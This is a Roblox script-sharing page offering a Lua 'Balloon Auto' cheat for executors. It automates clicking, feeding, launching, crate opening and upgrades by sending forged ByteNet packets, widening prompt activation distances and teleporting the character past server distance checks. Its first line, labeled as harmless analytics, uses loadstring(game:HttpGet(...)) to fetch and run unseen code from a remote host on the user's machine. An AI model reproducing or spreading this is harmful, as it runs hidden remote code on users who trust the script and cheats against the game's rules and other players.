Advertisements
Quick Actions
Description
This script adds automation features that reduce repetitive actions and help manage different parts of the game's progression. The latest version includes Auto Feed All, Auto Launch, Auto Collect Canister, Auto Open Crates, Auto Upgrade, and several machine automation options. Auto Feed All automatically performs the available feeding actions for your balloon, so you do not need to interact with each feed manually. When used together with Auto Click, the script keeps your balloon growing while you focus on unlocking new upgrades and expanding your setup. The script also includes Auto Launch Balloon and Auto Launch Button. These features automatically launch your balloon or activate the launch button whenever the required conditions are met. This helps keep the game's progression moving without requiring constant manual interaction. Auto Collect Canister automatically collects available canisters as they appear, making resource collection easier during long play sessions. Auto Open Crates opens supported crates automatically, saving time by removing the need to open each crate yourself. Auto Upgrade purchases available upgrades whenever you have enough resources. As you continue earning coins, the script can unlock upgrades automatically without requiring you to visit the upgrade menu repeatedly. Auto Buy Silo works in a similar way by purchasing supported silo upgrades when they become available.
Advertisements
Features
- Auto Feed All
- Auto Click
- Auto Launch Balloon
- Auto Launch Button
- Auto Collect Canister
- Auto Open Crates
- Auto Upgrade
- Auto Buy Silo
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/eJZt1xvJ?v=1"))()end);--=== Does not affect the script ===--local Players = game:GetService("Players")
local RS = game:GetService("ReplicatedStorage")
local UIS = game:GetService("UserInputService")
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
local ByteNet = RS:WaitForChild("ByteNetReliable")
local function pktOp(op)
local b = buffer.create(1)
buffer.writeu8(b, 0, op)
return b
end
-- [op][u16 le len][string]
local function pktStr(op, str)
local len = #str
local b = buffer.create(1 + 2 + len)
buffer.writeu8(b, 0, op)
buffer.writeu16(b, 1, len)
for i = 1, len do
buffer.writeu8(b, 2 + i, string.byte(str, i)) -- i=1 -> idx 3
end
return b
end
-- [op][u8][u16 len][string]
local function pktU8Str(op, u8, str)
local len = #str
local b = buffer.create(1 + 1 + 2 + len)
buffer.writeu8(b, 0, op)
buffer.writeu8(b, 1, u8)
buffer.writeu16(b, 2, len)
for i = 1, len do
buffer.writeu8(b, 3 + i, string.byte(str, i)) -- i=1 -> idx 4
end
return b
end
local function fireNet(b)
pcall(function()
ByteNet:FireServer(b)
end)
end
local cfg = {
AutoClick = false,
AutoFeedAll = false,
AutoLaunch = false,
AutoLaunchButton = false,
AutoCollect = false,
AutoOpenCrates = false,
AutoUpgrade = false,
AutoBuySilo = false,
UpgradeTarget = "Clicker",
ClickDelay = 0.05,
FeedDelay = 0.35,
LaunchDelay = 0.5,
CollectDelay = 0.4,
CrateDelay = 1,
UpgradeDelay = 0.12,
}
local UPGRADE_TARGETS = {
"Clicker",
"Silo",
"Helium Station",
"Helium Tower",
"Pipe Maze",
"Atmospheric Reservoir",
"Cryo Chamber",
}
local running, threads = {}, {}
local function getPlot()
local plots = workspace:FindFirstChild("Game") and workspace.Game:FindFirstChild("Plots")
if not plots then return nil end
local named = plots:FindFirstChild(player.Name .. "'s Plot")
if named then return named end
for _, p in ipairs(plots:GetChildren()) do
if string.find(p.Name, player.Name, 1, true) then return p end
end
return nil
end
local function fireClick(det)
if det then pcall(fireclickdetector, det) end
end
local function findClickerDet(plot)
local gen = plot:FindFirstChild("Generators")
local clicker = gen and gen:FindFirstChild("Clicker")
local btn = clicker and clicker:FindFirstChild("Button")
return btn and btn:FindFirstChildOfClass("ClickDetector")
end
local function findBalloon(plot)
for _, c in ipairs(plot:GetChildren()) do
if string.find(c.Name, "Balloon", 1, true) then return c end
end
end
local function startLoop(key, fn)
if threads[key] then return end
running[key] = true
threads[key] = task.spawn(function()
while running[key] do
local ok, err = pcall(fn)
if not ok then warn("[BalloonAuto]", key, err) end
end
threads[key] = nil
end)
end
local function setFeature(key, on, fn)
cfg[key] = on
if on then
startLoop(key, fn)
else
running[key] = false
end
end
local function firePrompt(prompt)
if not prompt or not prompt:IsA("ProximityPrompt") then return end
pcall(function()
-- временно расширяем дистанцию / убираем hold
local oldDist = prompt.MaxActivationDistance
local oldHold = prompt.HoldDuration
local oldEnabled = prompt.Enabled
prompt.Enabled = true
prompt.MaxActivationDistance = 999
prompt.HoldDuration = 0
if fireproximityprompt then
-- разные сигнатуры executor'ов
local ok = pcall(fireproximityprompt, prompt)
if not ok then pcall(fireproximityprompt, prompt, 1) end
end
prompt.MaxActivationDistance = oldDist
prompt.HoldDuration = oldHold
prompt.Enabled = oldEnabled
end)
end
local function findCollectPrompts(plot)
local list = {}
if not plot then return list end
for _, d in ipairs(plot:GetDescendants()) do
if d:IsA("ProximityPrompt") then
local action = string.lower(d.ActionText or "")
local object = string.lower(d.ObjectText or "")
local name = string.lower(d.Name or "")
if name == "pickup"
or action == "collect"
or string.find(object, "canister", 1, true)
or string.find(name, "canister", 1, true)
then
list[#list + 1] = d
end
end
end
-- прямой путь из дампа
local gen = plot:FindFirstChild("Generators")
local clicker = gen and gen:FindFirstChild("Clicker")
local can = clicker and clicker:FindFirstChild("Canister")
if can then
local p = can:FindFirstChild("Pickup") or can:FindFirstChildWhichIsA("ProximityPrompt", true)
if p and p:IsA("ProximityPrompt") then
local exists = false
for _, x in ipairs(list) do
if x == p then exists = true break end
end
if not exists then list[#list + 1] = p end
end
end
return list
end
local function loopCollect()
local plot = getPlot()
local prompts = findCollectPrompts(plot)
if #prompts == 0 then
task.wait(0.5)
return
end
local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart")
local oldCF = hrp and hrp.CFrame
for _, p in ipairs(prompts) do
-- сервер часто чекает дистанцию — короткий TP к канистре
if hrp and p.Parent then
local part = p.Parent:IsA("BasePart") and p.Parent or p.Parent:FindFirstChildWhichIsA("BasePart")
if part then
pcall(function()
hrp.CFrame = part.CFrame * CFrame.new(0, 3, 0)
end)
task.wait(0.05)
end
end
firePrompt(p)
end
if hrp and oldCF then
pcall(function()
hrp.CFrame = oldCF
end)
end
if plot then
for _, d in ipairs(plot:GetDescendants()) do
if d:IsA("ClickDetector") then
local parentName = string.lower(d.Parent and d.Parent.Name or "")
if string.find(parentName, "canister", 1, true) or string.find(parentName, "pickup", 1, true) then
fireClick(d)
end
end
end
end
task.wait(cfg.CollectDelay)
end
local function loopClick()
local plot = getPlot()
if plot then
fireClick(findClickerDet(plot))
local balloon = findBalloon(plot)
local root = balloon and balloon:FindFirstChild("Root")
local det = root and root:FindFirstChildOfClass("ClickDetector")
fireClick(det)
end
fireNet(pktOp(0x19))
task.wait(cfg.ClickDelay)
end
local function loopFeedAll()
local plot = getPlot()
local balloon = plot and findBalloon(plot)
local root = balloon and balloon:FindFirstChild("Root")
if root then
local p = root:FindFirstChild("FeedAll", true) or root:FindFirstChild("Feed", true)
if p and p:IsA("ProximityPrompt") then firePrompt(p) end
end
task.wait(cfg.FeedDelay)
end
local function loopLaunch()
local plot = getPlot()
local balloon = plot and findBalloon(plot)
local root = balloon and balloon:FindFirstChild("Root")
if root then
for _, d in ipairs(root:GetDescendants()) do
if d:IsA("ProximityPrompt") and (d.ActionText == "Launch" or d.Name == "Feed") then
firePrompt(d)
end
end
end
task.wait(cfg.LaunchDelay)
end
local function loopLaunchButton()
local plot = getPlot()
local lb = plot and plot:FindFirstChild("Launch_Button")
local btn = lb and lb:FindFirstChild("Button")
fireClick(btn and btn:FindFirstChildOfClass("ClickDetector"))
task.wait(cfg.LaunchDelay)
end
local function loopCrates()
fireNet(pktStr(0x0A, "Crates"))
local crates = workspace:FindFirstChild("Game") and workspace.Game.Middle and workspace.Game.Middle:FindFirstChild("Crates")
if crates then
for _, p in ipairs(crates:GetDescendants()) do
if p:IsA("ProximityPrompt") then firePrompt(p) end
end
end
task.wait(cfg.CrateDelay)
end
local function loopUpgrade()
fireNet(pktStr(0x0C, cfg.UpgradeTarget))
task.wait(cfg.UpgradeDelay)
end
local function loopBuySilo()
fireNet(pktStr(0x0D, "Silo"))
task.wait(1.2)
end
-- UI
local gui = Instance.new("ScreenGui")
gui.Name = "BalloonAutoUI"
gui.ResetOnSpawn = false
gui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
gui.Parent = playerGui
local frame = Instance.new("Frame")
frame.Size = UDim2.fromOffset(440, 480)
frame.Position = UDim2.new(0.5, -220, 0.12, 0)
frame.BackgroundColor3 = Color3.fromRGB(20, 22, 28)
frame.BorderSizePixel = 0
frame.Active = true
frame.Parent = gui
Instance.new("UICorner", frame).CornerRadius = UDim.new(0, 12)
Instance.new("UIStroke", frame).Color = Color3.fromRGB(50, 55, 70)
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, -20, 0, 26)
title.Position = UDim2.fromOffset(14, 8)
title.BackgroundTransparency = 1
title.Font = Enum.Font.GothamBold
title.TextSize = 18
title.TextXAlignment = Enum.TextXAlignment.Left
title.TextColor3 = Color3.fromRGB(240, 240, 245)
title.Text = "Balloon Auto"
title.Parent = frame
local status = Instance.new("TextLabel")
status.Size = UDim2.new(1, -20, 0, 16)
status.Position = UDim2.fromOffset(14, 34)
status.BackgroundTransparency = 1
status.Font = Enum.Font.Gotham
status.TextSize = 12
status.TextXAlignment = Enum.TextXAlignment.Left
status.TextColor3 = Color3.fromRGB(140, 145, 160)
status.Text = "Plot: ..."
status.Parent = frame
local scroll = Instance.new("ScrollingFrame")
scroll.Size = UDim2.new(1, -16, 1, -58)
scroll.Position = UDim2.fromOffset(8, 52)
scroll.BackgroundTransparency = 1
scroll.BorderSizePixel = 0
scroll.ScrollBarThickness = 4
scroll.AutomaticCanvasSize = Enum.AutomaticSize.Y
scroll.CanvasSize = UDim2.new()
scroll.Parent = frame
Instance.new("UIListLayout", scroll).Padding = UDim.new(0, 5)
local function section(t)
local l = Instance.new("TextLabel")
l.Size = UDim2.new(1, -8, 0, 18)
l.BackgroundTransparency = 1
l.Font = Enum.Font.GothamMedium
l.TextSize = 11
l.TextXAlignment = Enum.TextXAlignment.Left
l.TextColor3 = Color3.fromRGB(120, 125, 140)
l.Text = t
l.Parent = scroll
end
local function row(h)
local f = Instance.new("Frame")
f.Size = UDim2.new(1, -8, 0, h or 32)
f.BackgroundColor3 = Color3.fromRGB(30, 33, 42)
f.BorderSizePixel = 0
f.Parent = scroll
Instance.new("UICorner", f).CornerRadius = UDim.new(0, 8)
return f
end
local function toggle(label, key, fn)
local r = row(32)
local t = Instance.new("TextLabel")
t.Size = UDim2.new(1, -56, 1, 0)
t.Position = UDim2.fromOffset(10, 0)
t.BackgroundTransparency = 1
t.Font = Enum.Font.Gotham
t.TextSize = 14
t.TextXAlignment = Enum.TextXAlignment.Left
t.TextColor3 = Color3.fromRGB(220, 225, 235)
t.Text = label
t.Parent = r
local btn = Instance.new("TextButton")
btn.Size = UDim2.fromOffset(38, 20)
btn.Position = UDim2.new(1, -46, 0.5, -10)
btn.BackgroundColor3 = Color3.fromRGB(55, 60, 72)
btn.Text = ""
btn.AutoButtonColor = false
btn.Parent = r
Instance.new("UICorner", btn).CornerRadius = UDim.new(1, 0)
local knob = Instance.new("Frame")
knob.Size = UDim2.fromOffset(16, 16)
knob.Position = UDim2.fromOffset(2, 2)
knob.BackgroundColor3 = Color3.fromRGB(245, 245, 250)
knob.BorderSizePixel = 0
knob.Parent = btn
Instance.new("UICorner", knob).CornerRadius = UDim.new(1, 0)
local function refresh()
local on = cfg[key]
btn.BackgroundColor3 = on and Color3.fromRGB(70, 180, 100) or Color3.fromRGB(55, 60, 72)
knob.Position = on and UDim2.fromOffset(20, 2) or UDim2.fromOffset(2, 2)
end
btn.MouseButton1Click:Connect(function()
setFeature(key, not cfg[key], fn)
refresh()
end)
refresh()
end
local function numBox(label, key, minV)
local r = row(32)
local t = Instance.new("TextLabel")
t.Size = UDim2.new(0.55, 0, 1, 0)
t.Position = UDim2.fromOffset(10, 0)
t.BackgroundTransparency = 1
t.Font = Enum.Font.Gotham
t.TextSize = 13
t.TextXAlignment = Enum.TextXAlignment.Left
t.TextColor3 = Color3.fromRGB(210, 215, 225)
t.Text = label
t.Parent = r
local box = Instance.new("TextBox")
box.Size = UDim2.new(0.4, -12, 0, 22)
box.Position = UDim2.new(0.58, 0, 0.5, -11)
box.BackgroundColor3 = Color3.fromRGB(42, 46, 58)
box.Font = Enum.Font.Gotham
box.TextSize = 13
box.TextColor3 = Color3.fromRGB(235, 235, 240)
box.Text = tostring(cfg[key])
box.ClearTextOnFocus = false
box.Parent = r
Instance.new("UICorner", box).CornerRadius = UDim.new(0, 6)
box.FocusLost:Connect(function()
local n = tonumber(box.Text)
if n then cfg[key] = math.max(minV or 0, n) end
box.Text = tostring(cfg[key])
end)
end
local targetButtons = {}
section("FEATURES")
toggle("Auto Click", "AutoClick", loopClick)
toggle("Auto Feed All", "AutoFeedAll", loopFeedAll)
toggle("Auto Launch (balloon)", "AutoLaunch", loopLaunch)
toggle("Auto Launch Button", "AutoLaunchButton", loopLaunchButton)
toggle("Auto Collect Canister", "AutoCollect", loopCollect)
toggle("Auto Open Crates", "AutoOpenCrates", loopCrates)
toggle("Auto Upgrade (0x0C)", "AutoUpgrade", loopUpgrade)
toggle("Auto Buy Silo (0x0D)", "AutoBuySilo", loopBuySilo)
section("UPGRADE TARGET")
for _, name in ipairs(UPGRADE_TARGETS) do
local r = row(28)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(1, -8, 1, -4)
btn.Position = UDim2.fromOffset(4, 2)
btn.BackgroundColor3 = Color3.fromRGB(42, 46, 58)
btn.Font = Enum.Font.Gotham
btn.TextSize = 13
btn.TextColor3 = Color3.fromRGB(220, 225, 235)
btn.Text = name
btn.AutoButtonColor = false
btn.Parent = r
Instance.new("UICorner", btn).CornerRadius = UDim.new(0, 6)
targetButtons[name] = btn
btn.MouseButton1Click:Connect(function()
cfg.UpgradeTarget = name
for n, b in pairs(targetButtons) do
local on = n == cfg.UpgradeTarget
b.BackgroundColor3 = on and Color3.fromRGB(70, 180, 100) or Color3.fromRGB(42, 46, 58)
b.TextColor3 = on and Color3.fromRGB(20, 20, 24) or Color3.fromRGB(220, 225, 235)
end
end)
end
-- init highlight
do
local b = targetButtons[cfg.UpgradeTarget]
if b then
b.BackgroundColor3 = Color3.fromRGB(70, 180, 100)
b.TextColor3 = Color3.fromRGB(20, 20, 24)
end
end
section("SPEED")
numBox("Click delay", "ClickDelay", 0)
numBox("Feed delay", "FeedDelay", 0.05)
numBox("Upgrade delay", "UpgradeDelay", 0.05)
task.spawn(function()
while gui.Parent do
local p = getPlot()
status.Text = "Plot: " .. (p and p.Name or "?") .. " | Upg: " .. cfg.UpgradeTarget
task.wait(1)
end
end)
local dragging, dragStart, startPos
frame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then dragging = false end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if not dragging then return end
if input.UserInputType ~= Enum.UserInputType.MouseMovement and input.UserInputType ~= Enum.UserInputType.Touch then return end
local d = input.Position - dragStart
frame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + d.X, startPos.Y.Scale, startPos.Y.Offset + d.Y)
end)
print("[BalloonAuto v2] loaded")Quick Actions
Similar Scripts
Collect The Alphabet Script 2026 – Auto Game Complete, Auto Collect & Upgrades
7525 days ago
Savannah Life Script Roblox 2026 - Auto Grow & Autofarm Coins
8225 months ago
Be A Hair Script Roblox 2026 - Auto Farm Bald Uncles & Auto Rebirth
2655 months ago
Find and Snipe Brainrot Script Roblox 2026 – Auto Snipe & Auto Rebirth
2355 months ago
Fight Others For Brainrots Script 2026 – Attack Aura, Auto Extraction & Inf Jump
2263 months ago
Advertisements
Comments
0Did it work for you? Sign in to share your experience.
No comments yet
Tried it? Let others know if it works.